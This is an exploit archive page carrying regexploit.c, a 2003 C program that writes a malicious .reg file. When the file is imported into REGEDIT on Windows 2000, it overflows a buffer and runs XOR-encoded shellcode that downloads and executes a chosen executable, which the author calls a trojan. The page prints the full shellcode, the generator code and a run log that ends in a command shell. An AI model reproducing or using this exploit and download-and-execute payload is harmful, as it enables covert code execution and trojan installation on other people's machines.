what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

regexploit.c

regexploit.c
Posted Apr 5, 2003
Authored by ThreaT | Site chez.com

Local exploit/trojan that makes use of REGEDIT.EXE. Any file containing a value of more than 260 characters causes an error exception by the RegSetValueExW function, which then uses a function of NTDLL.DLL which is vulnerable.

tags | exploit, local, trojan
SHA-256 | c874fde4ec04f62e0bde41e571ba6761e1c46629f665638a2753eb90b45c1471

regexploit.c

Change Mirror Download
/***************************************
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
*@ REGEDIT Buffer Overflow Exploit ! @*
*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*
* *
* Discovered & coded By ThreaT. *
* *
*#####################################*
*# -> ThreaT@Ifrance.com #*
*# -> http://www.chez.com/mvm #*
*# -> http://s0h.cc/~threat #*
*#####################################*
* Date : 31/03/2003 *
***************************************
*/

/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* This exploit create a malicious .reg file *
* that when it try to write data into the *
* registery, overwrite the ret addr, because *
* a ReadFile() unchecked function work with *
* a static buffer, and execute our abitrary *
* code who download a trojan for local *
* execution without user ask ! *
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-> compile : cl regexploit.c

usage : regexploit.exe <url>

<url> is a full link to an executable file, it can be like
http://www.host.com/trojan.exe or file://c:/path/executable.exe

*/

// Tested on Win2k pro & server (fr) SP0 SP1 SP2 & SP3

#include <windows.h>

HANDLE RegFile;

char *ToWideChar(const char *cszANSIstring)
{
int nBufSize;
WCHAR *wideString;

if(cszANSIstring == NULL) return NULL;

nBufSize = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, NULL, 0 );
wideString = (WCHAR *)malloc(nBufSize +1);
MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cszANSIstring, -1, wideString, nBufSize);
return (char*)(wideString);
}

void Write (const char *str, int number)
{
DWORD lpNumberOfBytesWritten;
WriteFile (RegFile,str,number,&lpNumberOfBytesWritten,NULL);
}

void main (int argc, char *argv[])
{
int i;
char entete[] = "Windows Registry Editor Version 5.00\r\n\r\n"
"[HKEY_LOCAL_MACHINE\\SOFTWARE\\Discovered\\and\\coded\\by\\ThreaT]\r\n",

*MastaBuff, *myurl,

RealGenericShellcode[] =

"\xAA\xC6\x02\x01" // Adresse de retour

// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

// decrypteur de shellcode
"\x68\x5E\x56\xC3\x90\x8B\xCC\xFF\xD1\x83\xC6\x0E\x90\x8B\xFE\xAC"
"\x34\x99\xAA\x84\xC0\x75\xF8"

// shellcode xorised avec 0x99
"\x72\xeb\xf3\xa9\xc2\xfd\x12\x9a\x12\xd9\x95\x12\xd1\x95\x12\x58\x12\xc5\xbd\x91"
"\x12\xe9\xa9\x9a\xed\xbd\x9d\xa1\x87\xec\xd5\x12\xd9\x81\x12\xc1\xa5\x9a\x41\x12"
"\xc2\xe1\x9a\x41\x12\xea\x85\x9a\x69\xcf\x12\xea\xbd\x9a\x69\xcf\x12\xca\xb9\x9a"
"\x49\x12\xc2\x81\xd2\x12\xad\x03\x9a\x69\x9a\xed\xbd\x8d\x12\xaf\xa2\xed\xbd\x81"
"\xed\x93\xd2\xba\x42\xec\x73\xc1\xc1\xaa\x59\x5a\xc6\xaa\x50\xff\x12\x95\xc6\xc6"
"\x12\xa5\x16\x14\x9d\x9e\x5a\x12\x81\x12\x5a\xa2\x58\xec\x04\x5a\x72\xe5\xaa\x42"
"\xf1\xe0\xdc\xe1\xd8\xf3\x93\xf3\xd2\xca\x71\xe2\x66\x66\x66\xaa\x50\xc8\xf1\xec"
"\xeb\xf5\xf4\xff\x5e\xdd\xbd\x9d\xf6\xf7\x12\x75\xc8\xc8\xcc\x66\x49\xf1\xf0\xf5"
"\xfc\xd8\xf3\x97\xf3\xeb\xf3\x9b\x71\xcc\x66\x66\x66\xaa\x42\xca\xf1\xf8\xb7\xfc"
"\xe1\x5f\xdd\xbd\x9d\xfc\x12\x55\xca\xca\xc8\x66\xec\x81\xca\x66\x49\xaa\x42\xf1"
"\xf0\xf7\xdc\xe1\xf3\x98\xf3\xd2\xca\x71\xb5\x66\x66\x66\x14\xd5\xbd\x89\xf3\x98"
"\xc8\x66\x49\xaa\x42\xf1\xe1\xf0\xed\xc9\xf3\x98\xf3\xd2\xca\x71\x8b\x66\x66\x66"
"\x66\x49\x71\xe6\x66\x66\x66";

printf ("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n"
"Regedit.exe Buffer Overflow Exploit\n"
"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n"
"Discovered & Coded By ThreaT.\n\n"
"contact : ThreaT@Ifrance.com\n"
"URL : http://www.chez.com/mvm\n\n");

if (!argv[1])
{
printf ("_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_\n"
"Usage : regexploit.exe <URL://trojan.exe>\n"
"Exemple : regexploit.exe file://c:/winnt/system32/cmd.exe\n"
"_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_\n");
ExitProcess (0);
}

/* Creation du fichier Reg malicieux */

RegFile = CreateFile ("VulnFile.reg",GENERIC_WRITE,FILE_SHARE_WRITE,
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if (RegFile == INVALID_HANDLE_VALUE)
{
printf ("Cannot create a vuln regfile !\n");
ExitProcess (0);
}

Write ("\xFF\xFE",2); // header .reg script
Write (ToWideChar (entete),strlen (entete)*2); // entête regedit

MastaBuff = (char *) LocalAlloc (LPTR,270); // rempli la premiere partie
MastaBuff[0] = '"'; memset (&MastaBuff[1],'0',260); // avec des zeros

Write (ToWideChar (MastaBuff),strlen (MastaBuff)*2); // Ecrit dans le fichier la 1er parti de la vuln str

myurl = (char *) LocalAlloc (LPTR, strlen (argv[1])+10);
lstrcpy (myurl,argv[1]);

for (i=0; i < strlen (argv[1]); argv[1][i++]^=0x99); // encrypte l'URL
lstrcat (RealGenericShellcode,argv[1]); // creation du shellcode final
lstrcat (RealGenericShellcode,"\x99"); // caractere de terminaison

Write (RealGenericShellcode,strlen (RealGenericShellcode)); // rajoute le shellcode au fichier

CloseHandle (RegFile);

printf ("un fichier .reg vulnerable appele VulnFile.reg viens d'etre cree\n"
"pour downloader et executer '%s'\n",myurl);

}

/*********************

D:\code\exploits\regedit>cl regexploit.c
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 12.00.8168 for 80x86
Copyright (C) Microsoft Corp 1984-1998. All rights reserved.

regexploit.c
Microsoft (R) Incremental Linker Version 6.00.8168
Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

/out:regexploit.exe
regexploit.obj

D:\code\exploits\regedit>regexploit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Regedit.exe Buffer Overflow Exploit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Discovered & Coded By ThreaT.

contact : ThreaT@Ifrance.com
URL : http://www.chez.com/mvm

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
Usage : regexploit.exe <URL://trojan.exe>
Exemple : regexploit.exe file://c:/winnt/system32/cmd.exe
_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_

D:\code\exploits\regedit>regexploit file://c:/winnt/system32/cmd.exe
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Regedit.exe Buffer Overflow Exploit
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Discovered & Coded By ThreaT.

contact : ThreaT@Ifrance.com
URL : http://www.chez.com/mvm

un fichier .reg vulnerable appele VulnFile.reg viens d'etre cree
pour downloader et executer 'file://c:/winnt/system32/cmd.exe'

D:\code\exploits\regedit>dir VulnFile.reg
Le volume dans le lecteur D n'a pas de nom.
Le numéro de série du volume est 90CC-3FC3

Répertoire de D:\code\exploits\regedit

31/03/2003 14:54 1 015 VulnFile.reg
1 fichier(s) 1 015 octets
0 Rép(s) 5 602 033 664 octets libres

D:\code\exploits\regedit>VulnFile.reg

D:\code\exploits\regedit>

êtes vous sûr de vouloir ajouter l'information dans d:\code\exploits\regedit\VulnFile.reg
dans le registre ?

-> OUI

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

D:\code\exploits\regedit>


this is too easy...

*********************/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close